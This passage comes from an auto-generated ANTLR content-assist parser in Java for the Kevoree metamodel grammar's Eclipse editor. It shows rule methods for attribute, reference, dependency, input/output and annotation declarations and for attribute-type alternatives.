// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:270:1: ( ( rule__AttributeDeclaration__Group__0 ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:271:1: ( rule__AttributeDeclaration__Group__0 )
{
before(grammarAccess.getAttributeDeclarationAccess().getGroup());
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:272:1: ( rule__AttributeDeclaration__Group__0 )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:272:2: rule__AttributeDeclaration__Group__0
{
pushFollow(FOLLOW_rule__AttributeDeclaration__Group__0_in_ruleattributeDeclaration514);
rule__AttributeDeclaration__Group__0();
state._fsp--;
}
after(grammarAccess.getAttributeDeclarationAccess().getGroup());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "ruleattributeDeclaration"
// $ANTLR start "entryRuleattributeType"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:284:1: entryRuleattributeType : ruleattributeType EOF ;
public final void entryRuleattributeType() throws RecognitionException {
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:285:1: ( ruleattributeType EOF )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:286:1: ruleattributeType EOF
{
before(grammarAccess.getAttributeTypeRule());
pushFollow(FOLLOW_ruleattributeType_in_entryRuleattributeType541);
ruleattributeType();
state._fsp--;
after(grammarAccess.getAttributeTypeRule());
match(input,EOF,FOLLOW_EOF_in_entryRuleattributeType548);
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
}
return ;
}
// $ANTLR end "entryRuleattributeType"
// $ANTLR start "ruleattributeType"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:293:1: ruleattributeType : ( ( rule__AttributeType__Alternatives ) ) ;
public final void ruleattributeType() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:297:2: ( ( ( rule__AttributeType__Alternatives ) ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:298:1: ( ( rule__AttributeType__Alternatives ) )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:298:1: ( ( rule__AttributeType__Alternatives ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:299:1: ( rule__AttributeType__Alternatives )
{
before(grammarAccess.getAttributeTypeAccess().getAlternatives());
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:300:1: ( rule__AttributeType__Alternatives )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:300:2: rule__AttributeType__Alternatives
{
pushFollow(FOLLOW_rule__AttributeType__Alternatives_in_ruleattributeType574);
rule__AttributeType__Alternatives();
state._fsp--;
}
after(grammarAccess.getAttributeTypeAccess().getAlternatives());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "ruleattributeType"
// $ANTLR start "entryRulereferenceDeclaration"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:312:1: entryRulereferenceDeclaration : rulereferenceDeclaration EOF ;
public final void entryRulereferenceDeclaration() throws RecognitionException {
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:313:1: ( rulereferenceDeclaration EOF )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:314:1: rulereferenceDeclaration EOF
{
before(grammarAccess.getReferenceDeclarationRule());
pushFollow(FOLLOW_rulereferenceDeclaration_in_entryRulereferenceDeclaration601);
rulereferenceDeclaration();
state._fsp--;
after(grammarAccess.getReferenceDeclarationRule());
match(input,EOF,FOLLOW_EOF_in_entryRulereferenceDeclaration608);
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
}
return ;
}
// $ANTLR end "entryRulereferenceDeclaration"
// $ANTLR start "rulereferenceDeclaration"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:321:1: rulereferenceDeclaration : ( ( rule__ReferenceDeclaration__Group__0 ) ) ;
public final void rulereferenceDeclaration() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:325:2: ( ( ( rule__ReferenceDeclaration__Group__0 ) ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:326:1: ( ( rule__ReferenceDeclaration__Group__0 ) )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:326:1: ( ( rule__ReferenceDeclaration__Group__0 ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:327:1: ( rule__ReferenceDeclaration__Group__0 )
{
before(grammarAccess.getReferenceDeclarationAccess().getGroup());
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:328:1: ( rule__ReferenceDeclaration__Group__0 )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:328:2: rule__ReferenceDeclaration__Group__0
{
pushFollow(FOLLOW_rule__ReferenceDeclaration__Group__0_in_rulereferenceDeclaration634);
rule__ReferenceDeclaration__Group__0();
state._fsp--;
}
after(grammarAccess.getReferenceDeclarationAccess().getGroup());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rulereferenceDeclaration"
// $ANTLR start "entryRuledependencyDeclaration"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:340:1: entryRuledependencyDeclaration : ruledependencyDeclaration EOF ;
public final void entryRuledependencyDeclaration() throws RecognitionException {
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:341:1: ( ruledependencyDeclaration EOF )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:342:1: ruledependencyDeclaration EOF
{
before(grammarAccess.getDependencyDeclarationRule());
pushFollow(FOLLOW_ruledependencyDeclaration_in_entryRuledependencyDeclaration661);
ruledependencyDeclaration();
state._fsp--;
after(grammarAccess.getDependencyDeclarationRule());
match(input,EOF,FOLLOW_EOF_in_entryRuledependencyDeclaration668);
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
}
return ;
}
// $ANTLR end "entryRuledependencyDeclaration"
// $ANTLR start "ruledependencyDeclaration"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:349:1: ruledependencyDeclaration : ( ( rule__DependencyDeclaration__Group__0 ) ) ;
public final void ruledependencyDeclaration() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:353:2: ( ( ( rule__DependencyDeclaration__Group__0 ) ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:354:1: ( ( rule__DependencyDeclaration__Group__0 ) )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:354:1: ( ( rule__DependencyDeclaration__Group__0 ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:355:1: ( rule__DependencyDeclaration__Group__0 )
{
before(grammarAccess.getDependencyDeclarationAccess().getGroup());
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:356:1: ( rule__DependencyDeclaration__Group__0 )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:356:2: rule__DependencyDeclaration__Group__0
{
pushFollow(FOLLOW_rule__DependencyDeclaration__Group__0_in_ruledependencyDeclaration694);
rule__DependencyDeclaration__Group__0();
state._fsp--;
}
after(grammarAccess.getDependencyDeclarationAccess().getGroup());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "ruledependencyDeclaration"
// $ANTLR start "entryRuleinputDeclaration"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:368:1: entryRuleinputDeclaration : ruleinputDeclaration EOF ;
public final void entryRuleinputDeclaration() throws RecognitionException {
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:369:1: ( ruleinputDeclaration EOF )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:370:1: ruleinputDeclaration EOF
{
before(grammarAccess.getInputDeclarationRule());
pushFollow(FOLLOW_ruleinputDeclaration_in_entryRuleinputDeclaration721);
ruleinputDeclaration();
state._fsp--;
after(grammarAccess.getInputDeclarationRule());
match(input,EOF,FOLLOW_EOF_in_entryRuleinputDeclaration728);
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
}
return ;
}
// $ANTLR end "entryRuleinputDeclaration"
// $ANTLR start "ruleinputDeclaration"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:377:1: ruleinputDeclaration : ( ( rule__InputDeclaration__Group__0 ) ) ;
public final void ruleinputDeclaration() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:381:2: ( ( ( rule__InputDeclaration__Group__0 ) ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:382:1: ( ( rule__InputDeclaration__Group__0 ) )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:382:1: ( ( rule__InputDeclaration__Group__0 ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:383:1: ( rule__InputDeclaration__Group__0 )
{
before(grammarAccess.getInputDeclarationAccess().getGroup());
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:384:1: ( rule__InputDeclaration__Group__0 )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:384:2: rule__InputDeclaration__Group__0
{
pushFollow(FOLLOW_rule__InputDeclaration__Group__0_in_ruleinputDeclaration754);
rule__InputDeclaration__Group__0();
state._fsp--;
}
after(grammarAccess.getInputDeclarationAccess().getGroup());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "ruleinputDeclaration"
// $ANTLR start "entryRuleoutputDeclaration"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:396:1: entryRuleoutputDeclaration : ruleoutputDeclaration EOF ;
public final void entryRuleoutputDeclaration() throws RecognitionException {
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:397:1: ( ruleoutputDeclaration EOF )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:398:1: ruleoutputDeclaration EOF
{
before(grammarAccess.getOutputDeclarationRule());
pushFollow(FOLLOW_ruleoutputDeclaration_in_entryRuleoutputDeclaration781);
ruleoutputDeclaration();
state._fsp--;
after(grammarAccess.getOutputDeclarationRule());
match(input,EOF,FOLLOW_EOF_in_entryRuleoutputDeclaration788);
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
}
return ;
}
// $ANTLR end "entryRuleoutputDeclaration"
// $ANTLR start "ruleoutputDeclaration"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:405:1: ruleoutputDeclaration : ( ( rule__OutputDeclaration__Group__0 ) ) ;
public final void ruleoutputDeclaration() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:409:2: ( ( ( rule__OutputDeclaration__Group__0 ) ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:410:1: ( ( rule__OutputDeclaration__Group__0 ) )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:410:1: ( ( rule__OutputDeclaration__Group__0 ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:411:1: ( rule__OutputDeclaration__Group__0 )
{
before(grammarAccess.getOutputDeclarationAccess().getGroup());
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:412:1: ( rule__OutputDeclaration__Group__0 )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:412:2: rule__OutputDeclaration__Group__0
{
pushFollow(FOLLOW_rule__OutputDeclaration__Group__0_in_ruleoutputDeclaration814);
rule__OutputDeclaration__Group__0();
state._fsp--;
}
after(grammarAccess.getOutputDeclarationAccess().getGroup());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "ruleoutputDeclaration"
// $ANTLR start "entryRuleannotationDeclr"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:424:1: entryRuleannotationDeclr : ruleannotationDeclr EOF ;
public final void entryRuleannotationDeclr() throws RecognitionException {
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:425:1: ( ruleannotationDeclr EOF )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:426:1: ruleannotationDeclr EOF
{
before(grammarAccess.getAnnotationDeclrRule());
pushFollow(FOLLOW_ruleannotationDeclr_in_entryRuleannotationDeclr841);
ruleannotationDeclr();
state._fsp--;
after(grammarAccess.getAnnotationDeclrRule());
match(input,EOF,FOLLOW_EOF_in_entryRuleannotationDeclr848);
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
}
return ;
}
// $ANTLR end "entryRuleannotationDeclr"
// $ANTLR start "ruleannotationDeclr"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:433:1: ruleannotationDeclr : ( ( rule__AnnotationDeclr__Group__0 ) ) ;
public final void ruleannotationDeclr() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:437:2: ( ( ( rule__AnnotationDeclr__Group__0 ) ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:438:1: ( ( rule__AnnotationDeclr__Group__0 ) )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:438:1: ( ( rule__AnnotationDeclr__Group__0 ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:439:1: ( rule__AnnotationDeclr__Group__0 )
{
before(grammarAccess.getAnnotationDeclrAccess().getGroup());
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:440:1: ( rule__AnnotationDeclr__Group__0 )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:440:2: rule__AnnotationDeclr__Group__0
{
pushFollow(FOLLOW_rule__AnnotationDeclr__Group__0_in_ruleannotationDeclr874);
rule__AnnotationDeclr__Group__0();
state._fsp--;
}
after(grammarAccess.getAnnotationDeclrAccess().getGroup());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "ruleannotationDeclr"
// $ANTLR start "rule__Decl__Alternatives"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:452:1: rule__Decl__Alternatives : ( ( ruleenumDeclr ) | ( ruleclassDeclr ) );
public final void rule__Decl__Alternatives() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:456:1: ( ( ruleenumDeclr ) | ( ruleclassDeclr ) )
int alt1=2;
int LA1_0 = input.LA(1);
if ( (LA1_0==20) ) {
alt1=1;
}
else if ( (LA1_0==24) ) {
alt1=2;
}
else {
NoViableAltException nvae =
new NoViableAltException("", 1, 0, input);
throw nvae;
}
switch (alt1) {
case 1 :
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:457:1: ( ruleenumDeclr )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:457:1: ( ruleenumDeclr )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:458:1: ruleenumDeclr
{
before(grammarAccess.getDeclAccess().getEnumDeclrParserRuleCall_0());
pushFollow(FOLLOW_ruleenumDeclr_in_rule__Decl__Alternatives910);
ruleenumDeclr();
state._fsp--;
after(grammarAccess.getDeclAccess().getEnumDeclrParserRuleCall_0());
}
}
break;
case 2 :
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:463:6: ( ruleclassDeclr )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:463:6: ( ruleclassDeclr )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:464:1: ruleclassDeclr
{
before(grammarAccess.getDeclAccess().getClassDeclrParserRuleCall_1());
pushFollow(FOLLOW_ruleclassDeclr_in_rule__Decl__Alternatives927);
ruleclassDeclr();
state._fsp--;
after(grammarAccess.getDeclAccess().getClassDeclrParserRuleCall_1());
}
}
break;
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__Decl__Alternatives"
// $ANTLR start "rule__ClassElemDeclr__Alternatives"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:474:1: rule__ClassElemDeclr__Alternatives : ( ( ruleattributeDeclaration ) | ( rulereferenceDeclaration ) | ( ruledependencyDeclaration ) | ( ruleinputDeclaration ) | ( ruleoutputDeclaration ) );
public final void rule__ClassElemDeclr__Alternatives() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:478:1: ( ( ruleattributeDeclaration ) | ( rulereferenceDeclaration ) | ( ruledependencyDeclaration ) | ( ruleinputDeclaration ) | ( ruleoutputDeclaration ) )
int alt2=5;
switch ( input.LA(1) ) {
case 26:
{
alt2=1;
}
break;
case 17:
case 18:
{
alt2=2;
}
break;
case 28:
{
alt2=3;
}
break;
case 29:
{
alt2=4;
}
break;
case 30:
{
alt2=5;
}
break;
default:
NoViableAltException nvae =
new NoViableAltException("", 2, 0, input);
throw nvae;
}
switch (alt2) {
case 1 :
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:479:1: ( ruleattributeDeclaration )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:479:1: ( ruleattributeDeclaration )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:480:1: ruleattributeDeclaration
{
before(grammarAccess.getClassElemDeclrAccess().getAttributeDeclarationParserRuleCall_0());
pushFollow(FOLLOW_ruleattributeDeclaration_in_rule__ClassElemDeclr__Alternatives959);
ruleattributeDeclaration();
state._fsp--;
after(grammarAccess.getClassElemDeclrAccess().getAttributeDeclarationParserRuleCall_0());
}
}
break;
case 2 :
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:485:6: ( rulereferenceDeclaration )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:485:6: ( rulereferenceDeclaration )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:486:1: rulereferenceDeclaration
{
before(grammarAccess.getClassElemDeclrAccess().getReferenceDeclarationParserRuleCall_1());
pushFollow(FOLLOW_rulereferenceDeclaration_in_rule__ClassElemDeclr__Alternatives976);
rulereferenceDeclaration();
state._fsp--;
after(grammarAccess.getClassElemDeclrAccess().getReferenceDeclarationParserRuleCall_1());
}
}
break;
case 3 :
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:491:6: ( ruledependencyDeclaration )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:491:6: ( ruledependencyDeclaration )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:492:1: ruledependencyDeclaration
{
before(grammarAccess.getClassElemDeclrAccess().getDependencyDeclarationParserRuleCall_2());
pushFollow(FOLLOW_ruledependencyDeclaration_in_rule__ClassElemDeclr__Alternatives993);
ruledependencyDeclaration();
state._fsp--;
after(grammarAccess.getClassElemDeclrAccess().getDependencyDeclarationParserRuleCall_2());
}
}
break;
case 4 :
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:497:6: ( ruleinputDeclaration )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:497:6: ( ruleinputDeclaration )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:498:1: ruleinputDeclaration
{
before(grammarAccess.getClassElemDeclrAccess().getInputDeclarationParserRuleCall_3());
pushFollow(FOLLOW_ruleinputDeclaration_in_rule__ClassElemDeclr__Alternatives1010);
ruleinputDeclaration();
state._fsp--;
after(grammarAccess.getClassElemDeclrAccess().getInputDeclarationParserRuleCall_3());
}
}
break;
case 5 :
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:503:6: ( ruleoutputDeclaration )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:503:6: ( ruleoutputDeclaration )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:504:1: ruleoutputDeclaration
{
before(grammarAccess.getClassElemDeclrAccess().getOutputDeclarationParserRuleCall_4());
pushFollow(FOLLOW_ruleoutputDeclaration_in_rule__ClassElemDeclr__Alternatives1027);
ruleoutputDeclaration();
state._fsp--;
after(grammarAccess.getClassElemDeclrAccess().getOutputDeclarationParserRuleCall_4());
}
}
break;
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__ClassElemDeclr__Alternatives"
// $ANTLR start "rule__AttributeType__Alternatives"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:514:1: rule__AttributeType__Alternatives : ( ( 'String' ) | ( 'Double' ) | ( 'Long' ) | ( 'Continuous' ) | ( 'Int' ) | ( 'Bool' ) | ( ruletypeName ) );
public final void rule__AttributeType__Alternatives() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:518:1: ( ( 'String' ) | ( 'Double' ) | ( 'Long' ) | ( 'Continuous' ) | ( 'Int' ) | ( 'Bool' ) | ( ruletypeName ) )
int alt3=7;
switch ( input.LA(1) ) {
case 11:
{
alt3=1;
}
break;
case 12:
{
alt3=2;
}
break;
case 13:
{
alt3=3;
}
break;
case 14:
{
alt3=4;
}
break;
case 15:
{
alt3=5;
}
break;
case 16:
{
alt3=6;
}
break;
case RULE_ID:
{
alt3=7;
}
break;
default:
NoViableAltException nvae =
new NoViableAltException("", 3, 0, input);
throw nvae;
}
switch (alt3) {
case 1 :
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:519:1: ( 'String' )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:519:1: ( 'String' )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:520:1: 'String'
{
before(grammarAccess.getAttributeTypeAccess().getStringKeyword_0());
match(input,11,FOLLOW_11_in_rule__AttributeType__Alternatives1060);
after(grammarAccess.getAttributeTypeAccess().getStringKeyword_0());
}
}
break;
case 2 :
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:527:6: ( 'Double' )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:527:6: ( 'Double' )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:528:1: 'Double'
{
before(grammarAccess.getAttributeTypeAccess().getDoubleKeyword_1());
match(input,12,FOLLOW_12_in_rule__AttributeType__Alternatives1080);
after(grammarAccess.getAttributeTypeAccess().getDoubleKeyword_1());
}
}
break;
case 3 :
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:535:6: ( 'Long' )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:535:6: ( 'Long' )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:536:1: 'Long'
{
before(grammarAccess.getAttributeTypeAccess().getLongKeyword_2());
match(input,13,FOLLOW_13_in_rule__AttributeType__Alternatives1100);
after(grammarAccess.getAttributeTypeAccess().getLongKeyword_2());
}
}
break;
case 4 :
